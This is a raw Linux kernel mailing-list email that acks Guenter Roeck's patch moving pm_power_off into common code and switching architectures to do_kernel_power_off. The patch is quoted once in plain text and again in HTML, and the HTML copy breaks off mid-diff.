>  static void native_machine_power_off(void)
>  {
> -       if (pm_power_off) {
> +       if (have_kernel_power_off()) {
>                 if (!reboot_force)
>                         machine_shutdown();
> -               pm_power_off();
> +               do_kernel_power_off();
>         }
> +
>         /* A fallback in case there is no PM info available */
>         tboot_shutdown(TB_SHUTDOWN_HALT);
>  }
> diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
> index 1a3f044..c2c1d74 100644
> --- a/arch/x86/xen/enlighten.c
> +++ b/arch/x86/xen/enlighten.c
> @@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
>
>  static void xen_machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         xen_reboot(SHUTDOWN_poweroff);
>  }
>
> diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
> index 1c85323..c487296 100644
> --- a/arch/xtensa/kernel/process.c
> +++ b/arch/xtensa/kernel/process.c
> @@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
>
>  struct task_struct *current_set[NR_CPUS] = {&init_task, };
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
> -
>  #if XTENSA_HAVE_COPROCESSORS
>
>  void coprocessor_release_all(struct thread_info *ti)
> diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
> index ef31b77..f10cf92 100644
> --- a/drivers/parisc/power.c
> +++ b/drivers/parisc/power.c
> @@ -95,8 +95,7 @@ static void process_shutdown(void)
>                 /* send kill signal */
>                 if (kill_cad_pid(SIGINT, 1)) {
>                         /* just in case killing init process failed */
> -                       if (pm_power_off)
> -                               pm_power_off();
> +                       kernel_power_off();
>                 }
>         }
>  }
> diff --git a/kernel/power/poweroff_handler.c
> b/kernel/power/poweroff_handler.c
> index aeb4736..37f0b88 100644
> --- a/kernel/power/poweroff_handler.c
> +++ b/kernel/power/poweroff_handler.c
> @@ -22,6 +22,12 @@
>  #include <linux/types.h>
>
>  /*
> + * If set, calling this function will power off the system immediately.
> + */
> +void (*pm_power_off)(void);
> +EXPORT_SYMBOL(pm_power_off);
> +
> +/*
>   *     Notifier list for kernel code which wants to be called
>   *     to power off the system.
>   */
> @@ -236,6 +242,8 @@ EXPORT_SYMBOL(devm_register_power_off_handler);
>  void do_kernel_power_off(void)
>  {
>         spin_lock(&power_off_handler_lock);
> +       if (pm_power_off)
> +               pm_power_off();
>         raw_notifier_call_chain(&power_off_handler_list, 0, NULL);
>         spin_unlock(&power_off_handler_lock);
>  }
> diff --git a/kernel/reboot.c b/kernel/reboot.c
> index 5925f5a..0930851 100644
> --- a/kernel/reboot.c
> +++ b/kernel/reboot.c
> @@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2,
> unsigned int, cmd,
>                 return ret;
>
>         /* Instead of trying to make the power_off code look like
> -        * halt when pm_power_off is not set do it the easy way.
> +        * halt when no poweroff handler exists do it the easy way.
>          */
> -       if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
> +       if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_power_off())
>                 cmd = LINUX_REBOOT_CMD_HALT;
>
>         mutex_lock(&reboot_mutex);
> --
> 1.9.1
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
>

--001a113a86702f33570506284668
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr">Acked-by: Lennox Wu &lt;<a href=3D"mailto:lennox.wu@gmail.=
com">lennox.wu@gmail.com</a>&gt;<br></div><div class=3D"gmail_extra"><br><d=
iv class=3D"gmail_quote">2014-10-21 12:12 GMT+08:00 Guenter Roeck <span dir=
=3D"ltr">&lt;<a href=3D"mailto:linux@roeck-us.net" target=3D"_blank">linux@=
roeck-us.net</a>&gt;</span>:<br><blockquote class=3D"gmail_quote" style=3D"=
margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">pm_power_off=
 is defined for all architectures. Move it to common code.<br>
<br>
Have all architectures call do_kernel_power_off instead of pm_power_off.<br=
>
Some architectures point pm_power_off to machine_power_off. For those,<br>
call do_kernel_power_off from machine_power_off instead.<br>
<br>
Acked-by: David Vrabel &lt;<a href=3D"mailto:david.vrabel@citrix.com">david=
.vrabel@citrix.com</a>&gt;<br>
Acked-by: Geert Uytterhoeven &lt;<a href=3D"mailto:geert@linux-m68k.org">ge=
ert@linux-m68k.org</a>&gt;<br>
Acked-by: Hirokazu Takata &lt;<a href=3D"mailto:takata@linux-m32r.org">taka=
ta@linux-m32r.org</a>&gt;<br>
Acked-by: Jesper Nilsson &lt;<a href=3D"mailto:jesper.nilsson@axis.com">jes=
per.nilsson@axis.com</a>&gt;<br>
Acked-by: Max Filippov &lt;<a href=3D"mailto:jcmvbkbc@gmail.com">jcmvbkbc@g=
mail.com</a>&gt;<br>
Acked-by: Rafael J. Wysocki &lt;<a href=3D"mailto:rjw@rjwysocki.net">rjw@rj=
wysocki.net</a>&gt;<br>
Acked-by: Richard Weinberger &lt;<a href=3D"mailto:richard@nod.at">richard@=
nod.at</a>&gt;<br>
Acked-by: Xuetao Guan &lt;<a href=3D"mailto:gxt@mprc.pku.edu.cn">gxt@mprc.p=
ku.edu.cn</a>&gt;<br>
Signed-off-by: Guenter Roeck &lt;<a href=3D"mailto:linux@roeck-us.net">linu=
x@roeck-us.net</a>&gt;<br>
---<br>
v2:<br>
- do_kernel_poweroff -&gt; do_kernel_power_off<br>
- have_kernel_poweroff -&gt; have_kernel_power_off<br>
<br>
=C2=A0arch/alpha/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 9 +++-=
-----<br>
=C2=A0arch/arc/kernel/reset.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=
=A0 5 +----<br>
=C2=A0arch/arm/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 5=
 +----<br>
=C2=A0arch/arm64/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 5 +---=
-<br>
=C2=A0arch/avr32/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 6 +---=
--<br>
=C2=A0arch/blackfin/kernel/process.c=C2=A0 =C2=A0 =C2=A0|=C2=A0 3 ---<br>
=C2=A0arch/blackfin/kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 |=C2=A0 2 ++<br>
=C2=A0arch/c6x/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 9=
 +--------<br>
=C2=A0arch/cris/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 4=
 +---<br>
=C2=A0arch/frv/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 5=
 ++---<br>
=C2=A0arch/hexagon/kernel/reset.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 5 ++--=
-<br>
=C2=A0arch/ia64/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 5=
 +----<br>
=C2=A0arch/m32r/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 8=
 ++++----<br>
=C2=A0arch/m68k/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 6=
 +-----<br>
=C2=A0arch/metag/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 6 +---=
--<br>
=C2=A0arch/microblaze/kernel/process.c=C2=A0 =C2=A0|=C2=A0 3 ---<br>
=C2=A0arch/microblaze/kernel/reset.c=C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
=C2=A0arch/mips/kernel/reset.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=
=A0 6 +-----<br>
=C2=A0arch/mn10300/kernel/process.c=C2=A0 =C2=A0 =C2=A0 |=C2=A0 8 ++------<=
br>
=C2=A0arch/openrisc/kernel/process.c=C2=A0 =C2=A0 =C2=A0|=C2=A0 8 +++++---<=
br>
=C2=A0arch/parisc/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 8 ++++=
----<br>
=C2=A0arch/powerpc/kernel/setup-common.c |=C2=A0 6 +++---<br>
=C2=A0arch/s390/kernel/setup.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=
=A0 8 ++------<br>
=C2=A0arch/score/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 8 ++++=
----<br>
=C2=A0arch/sh/kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=
=A0 6 +-----<br>
=C2=A0arch/sparc/kernel/process_32.c=C2=A0 =C2=A0 =C2=A0| 10 ++--------<br>
=C2=A0arch/sparc/kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 8=
 ++------<br>
=C2=A0arch/tile/kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 7=
 +++----<br>
=C2=A0arch/um/kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=
=A0 2 --<br>
=C2=A0arch/unicore32/kernel/process.c=C2=A0 =C2=A0 |=C2=A0 9 +--------<br>
=C2=A0arch/x86/kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0| 11=
 +++--------<br>
=C2=A0arch/x86/xen/enlighten.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=
=A0 3 +--<br>
=C2=A0arch/xtensa/kernel/process.c=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 4 ----=
<br>
=C2=A0drivers/parisc/power.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0|=C2=A0 3 +--<br>
=C2=A0kernel/power/poweroff_handler.c=C2=A0 =C2=A0 |=C2=A0 8 ++++++++<br>
=C2=A0kernel/reboot.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 |=C2=A0 4 ++--<br>
=C2=A036 files changed, 68 insertions(+), 146 deletions(-)<br>
<br>
diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c<br>
index 1941a07..81c43f8 100644<br>
--- a/arch/alpha/kernel/process.c<br>
+++ b/arch/alpha/kernel/process.c<br>
@@ -24,6 +24,7 @@<br>
=C2=A0#include &lt;linux/vt.h&gt;<br>
=C2=A0#include &lt;linux/mman.h&gt;<br>
=C2=A0#include &lt;linux/elfcore.h&gt;<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/reboot.h&gt;<br>
=C2=A0#include &lt;linux/tty.h&gt;<br>
=C2=A0#include &lt;linux/console.h&gt;<br>
@@ -40,12 +41,6 @@<br>
=C2=A0#include &quot;proto.h&quot;<br>
=C2=A0#include &quot;pci_impl.h&quot;<br>
<br>
-/*<br>
- * Power off function, if any<br>
- */<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0#ifdef CONFIG_ALPHA_WTINT<br>
=C2=A0/*<br>
=C2=A0 * Sleep the CPU.<br>
@@ -184,6 +179,8 @@ machine_halt(void)<br>
=C2=A0void<br>
=C2=A0machine_power_off(void)<br>
=C2=A0{<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NUL=
L);<br>
=C2=A0}<br>
<br>
diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c<br>
index 2768fa1..0758d9d 100644<br>
--- a/arch/arc/kernel/reset.c<br>
+++ b/arch/arc/kernel/reset.c<br>
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0/* FIXME ::=C2=A0 power off ??? */<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 machine_halt();<br>
=C2=A0}<br>
-<br>
-void (*pm_power_off) (void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c<br>
index fe972a2..aa3f656 100644<br>
--- a/arch/arm/kernel/process.c<br>
+++ b/arch/arm/kernel/process.c<br>
@@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)<br>
=C2=A0/*<br>
=C2=A0 * Function pointers to optional machine specific functions<br>
=C2=A0 */<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
<br>
=C2=A0void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd)=
;<br>
<br>
@@ -205,8 +203,7 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 local_irq_disable();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
<br>
=C2=A0/*<br>
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c<br>
index c3065db..46a483a 100644<br>
--- a/arch/arm64/kernel/process.c<br>
+++ b/arch/arm64/kernel/process.c<br>
@@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)<br>
=C2=A0/*<br>
=C2=A0 * Function pointers to optional machine specific functions<br>
=C2=A0 */<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL_GPL(pm_power_off);<br>
<br>
=C2=A0void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd)=
;<br>
<br>
@@ -129,8 +127,7 @@ void machine_power_off(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 local_irq_disable();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
<br>
=C2=A0/*<br>
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c<br>
index 42a53e74..529c1f6 100644<br>
--- a/arch/avr32/kernel/process.c<br>
+++ b/arch/avr32/kernel/process.c<br>
@@ -23,9 +23,6 @@<br>
<br>
=C2=A0#include &lt;mach/pm.h&gt;<br>
<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0/*<br>
=C2=A0 * This file handles the architecture-dependent parts of process hand=
ling..<br>
=C2=A0 */<br>
@@ -48,8 +45,7 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
<br>
=C2=A0void machine_restart(char *cmd)<br>
diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.=
c<br>
index 4aa5545..812dd83 100644<br>
--- a/arch/blackfin/kernel/process.c<br>
+++ b/arch/blackfin/kernel/process.c<br>
@@ -39,9 +39,6 @@ int nr_l1stack_tasks;<br>
=C2=A0void *l1_stack_base;<br>
=C2=A0unsigned long l1_stack_len;<br>
<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0/*<br>
=C2=A0 * The idle loop on BFIN<br>
=C2=A0 */<br>
diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c<=
br>
index c4f50a3..387d610 100644<br>
--- a/arch/blackfin/kernel/reboot.c<br>
+++ b/arch/blackfin/kernel/reboot.c<br>
@@ -7,6 +7,7 @@<br>
=C2=A0 */<br>
<br>
=C2=A0#include &lt;linux/interrupt.h&gt;<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;asm/bfin-global.h&gt;<br>
=C2=A0#include &lt;asm/reboot.h&gt;<br>
=C2=A0#include &lt;asm/bfrom.h&gt;<br>
@@ -106,6 +107,7 @@ void machine_halt(void)<br>
=C2=A0__attribute__((weak))<br>
=C2=A0void native_machine_power_off(void)<br>
=C2=A0{<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 idle_with_irq_disabled();<br>
=C2=A0}<br>
<br>
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c<br>
index 57d2ea8..edf7e5a 100644<br>
--- a/arch/c6x/kernel/process.c<br>
+++ b/arch/c6x/kernel/process.c<br>
@@ -27,12 +27,6 @@ void (*c6x_halt)(void);<br>
=C2=A0extern asmlinkage void ret_from_fork(void);<br>
=C2=A0extern asmlinkage void ret_from_kernel_thread(void);<br>
<br>
-/*<br>
- * power off function, if any<br>
- */<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void arch_cpu_idle(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 unsigned long tmp;<br>
@@ -73,8 +67,7 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 halt_loop();<br>
=C2=A0}<br>
<br>
diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c<br>
index b78498e..9ebd76b 100644<br>
--- a/arch/cris/kernel/process.c<br>
+++ b/arch/cris/kernel/process.c<br>
@@ -31,9 +31,6 @@<br>
<br>
=C2=A0extern void default_idle(void);<br>
<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void arch_cpu_idle(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 default_idle();<br>
@@ -60,6 +57,7 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
<br>
=C2=A0/*<br>
diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c<br>
index 5d40aeb77..502dabb 100644<br>
--- a/arch/frv/kernel/process.c<br>
+++ b/arch/frv/kernel/process.c<br>
@@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);<br>
<br>
=C2=A0#include &lt;asm/pgalloc.h&gt;<br>
<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0static void core_sleep_idle(void)<br>
=C2=A0{<br>
=C2=A0#ifdef LED_DEBUG_SLEEP<br>
@@ -107,6 +104,8 @@ void machine_power_off(void)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 gdbstub_exit(0);<br>
=C2=A0#endif<br>
<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 for (;;);<br>
=C2=A0}<br>
<br>
diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c<br>
index 76483c1..6f607b6 100644<br>
--- a/arch/hexagon/kernel/reset.c<br>
+++ b/arch/hexagon/kernel/reset.c<br>
@@ -16,11 +16,13 @@<br>
=C2=A0 * 02110-1301, USA.<br>
=C2=A0 */<br>
<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/smp.h&gt;<br>
=C2=A0#include &lt;asm/hexagon_vm.h&gt;<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 __vmstop();<br>
=C2=A0}<br>
@@ -32,6 +34,3 @@ void machine_halt(void)<br>
=C2=A0void machine_restart(char *cmd)<br>
=C2=A0{<br>
=C2=A0}<br>
-<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c<br>
index b515149..88121a2 100644<br>
--- a/arch/ia64/kernel/process.c<br>
+++ b/arch/ia64/kernel/process.c<br>
@@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);<br>
<br>
=C2=A0unsigned long boot_option_idle_override =3D IDLE_NO_OVERRIDE;<br>
=C2=A0EXPORT_SYMBOL(boot_option_idle_override);<br>
-void (*pm_power_off) (void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
<br>
=C2=A0void<br>
=C2=A0ia64_do_show_stack (struct unw_frame_info *info, void *arg)<br>
@@ -675,8 +673,7 @@ machine_halt (void)<br>
=C2=A0void<br>
=C2=A0machine_power_off (void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 machine_halt();<br>
=C2=A0}<br>
<br>
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c<br>
index e69221d..65a037e 100644<br>
--- a/arch/m32r/kernel/process.c<br>
+++ b/arch/m32r/kernel/process.c<br>
@@ -23,6 +23,7 @@<br>
=C2=A0#include &lt;linux/fs.h&gt;<br>
=C2=A0#include &lt;linux/slab.h&gt;<br>
=C2=A0#include &lt;linux/module.h&gt;<br>
+#include &lt;linux/pm.h&gt;<br>
=C2=A0#include &lt;linux/ptrace.h&gt;<br>
=C2=A0#include &lt;linux/unistd.h&gt;<br>
=C2=A0#include &lt;linux/hardirq.h&gt;<br>
@@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)<br=
>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 return tsk-&gt;<a href=3D"http://thread.lr" tar=
get=3D"_blank">thread.lr</a>;<br>
=C2=A0}<br>
<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void machine_restart(char *__unused)<br>
=C2=A0{<br>
=C2=A0#if defined(CONFIG_PLAT_MAPPI3)<br>
@@ -67,7 +65,9 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0/* M32R_FIXME */<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0for (;;)<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0;<br>
=C2=A0}<br>
<br>
=C2=A0void show_regs(struct pt_regs * regs)<br>
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c<br>
index afe3d6e..bbc0a63 100644<br>
--- a/arch/m68k/kernel/process.c<br>
+++ b/arch/m68k/kernel/process.c<br>
@@ -78,14 +78,10 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 for (;;);<br>
=C2=A0}<br>
<br>
-void (*pm_power_off)(void) =3D machine_power_off;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void show_regs(struct pt_regs * regs)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 printk(&quot;\n&quot;);<br>
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c<br>
index 483dff9..8d95773 100644<br>
--- a/arch/metag/kernel/process.c<br>
+++ b/arch/metag/kernel/process.c<br>
@@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)<br>
=C2=A0}<br>
=C2=A0#endif<br>
<br>
-void (*pm_power_off)(void);<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void (*soc_restart)(char *cmd);<br>
=C2=A0void (*soc_halt)(void);<br>
<br>
@@ -90,8 +87,7 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 smp_send_stop();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 hard_processor_halt(HALT_OK);<br>
=C2=A0}<br>
diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/proc=
ess.c<br>
index b2dd371..0ebca36 100644<br>
--- a/arch/microblaze/kernel/process.c<br>
+++ b/arch/microblaze/kernel/process.c<br>
@@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 regs-&gt;msr, regs-&gt;ear, regs-&gt=
;esr, regs-&gt;fsr);<br>
=C2=A0}<br>
<br>
-void (*pm_power_off)(void) =3D NULL;<br>
-EXPORT_SYMBOL(pm_power_off);<br>
-<br>
=C2=A0void flush_thread(void)<br>
=C2=A0{<br>
=C2=A0}<br>
diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.=
c<br>
index fbe58c6..2c6b32c 100644<br>
--- a/arch/microblaze/kernel/reset.c<br>
+++ b/arch/microblaze/kernel/reset.c<br>
@@ -103,6 +103,7 @@ void machine_halt(void)<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 pr_notice(&quot;Machine power off...\n&quot;);<=
br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 while (1)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 ;<br>
=C2=A0}<br>
diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c<br>
index 07fc524..09e74d2 100644<br>
--- a/arch/mips/kernel/reset.c<br>
+++ b/arch/mips/kernel/reset.c<br>
@@ -21,9 +21,6 @@<br>
=C2=A0 */<br>
=C2=A0void (*_machine_restart)(char *command);<br>
=C2=A0void (*_machine_halt)(void);<br>
-void (*pm_power_off)(void);<br>
-<br>
-EXPORT_SYMBOL(pm_power_off);<br>
<br>
=C2=A0void machine_restart(char *command)<br>
=C2=A0{<br>
@@ -39,6 +36,5 @@ void machine_halt(void)<br>
<br>
=C2=A0void machine_power_off(void)<br>
=C2=A0{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0if (pm_power_off)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0pm_power_off();<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0do_kernel_power_off();<br>
=C2=A0}<br>
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c<=
br>
index 3707da5..c78b2eb 100644<br>
--- a/arch/mn10300/kernel/process.c<br>
+++ b/arch/mn10300/kernel/process.c<br>
@@ -20,6 +20,7 @@<br>
=C2=A0#include &lt;linux/user.h&gt;<br>
